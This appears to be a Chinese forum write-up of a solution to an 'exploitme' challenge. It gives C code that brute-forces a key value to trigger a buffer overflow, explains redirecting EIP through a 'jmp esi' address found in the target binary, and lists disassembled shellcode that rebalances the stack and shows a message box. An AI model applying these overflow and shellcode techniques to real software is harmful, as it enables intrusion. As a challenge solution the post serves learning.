想等到明天再交,突然想起来T-Shirt还是要争取一下地...
1)穷举合适的key
说起来过程很艰难,我钻牛角尖去穷举0xD符合条件的数,结果一晚上没找到合适的,条件后来放宽到<0x20,在0xFFFFFFFF范围内就出来几个合适的数字了,排除了几个频繁出现的不符合条件的数,下面是穷举部分
UINT64 a, b, c, d, num, tmp, tmp2;
a = 0x78cc02a869948f1b;
b = 0x5be6ff82a5164785;
for (num = 0; num < 0xffffffff; num++)
{
c = a*num;
c = c%b & 0xFFFFFFFF;
tmp = (0x1a - c) & 0xFFFFFFFF;
tmp = (tmp * c) & 0xffffffff;
tmp = tmp - 0x9C;
if ((tmp < 0x20) && (tmp > 0xc) && ((num & 0xffff) != 0x65d6) && ((num & 0xffff) != 0x97F7) && ((num & 0xffff) != 0x33B5))
{
{
printf("num = %08X\n", num);
continue;
}
}
}
2)
现在可以保证溢出,剩下的就是如何处理EIP的问题了,现在的文件经过程序的那个异或过程可以安全走到偏移08的位置,所以只要跳到文件头就可以了,我选的这个值是0x14长度的,把原本堆栈中的数据给清空了,没法通过ret返回到文件头,看到esi正好指向文件头,所以需要找一个 jmp esi的点,在ue中搜索exploitme.exe,发现在这里有个符合的
000002b0h: 36 E8 0A 03 00 00 68 82 FF E6 5B 68 85 47 16 A5 ; 6?...h?鎇h匞.
3)
ok,EIP处理完毕,下面就只要照顾到堆栈平衡,然后让它弹出正确数值就可以了,代码如下
003F0000 /7B 72 JPO SHORT 003F0074
003F0002 |0C 55 OR AL,55
003F0004 |1C 1C SBB AL,1C
003F0006 |1C 1C SBB AL,1C
003F0008 |59 POP ECX
003F0009 |59 POP ECX
003F000A |57 PUSH EDI
003F000B |E8 04000000 CALL 003F0014
003F0010 |4F DEC EDI
003F0011 |4B DEC EBX
003F0012 |2100 AND DWORD PTR DS:[EAX],EAX
003F0014 |E8 04000000 CALL 003F001D
003F0019 |4F DEC EDI
003F001A |4B DEC EBX
003F001B |2100 AND DWORD PTR DS:[EAX],EAX
003F001D |8BEC MOV EBP,ESP
003F001F |83C5 24 ADD EBP,24
003F0022 |68 90034000 PUSH 400390
003F0027 |C3 RETN
EBP平衡那个是后来才加的,最开始处理完MessageBoxA后程序异常,发现是ebp被覆盖,局部变量访问错误了,这才想起来去恢复ebp
最后只在自己机器上测试的,好像可以跨平台吧,只有40xxxx的硬编码,没有堆栈或者系统api的硬编码
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课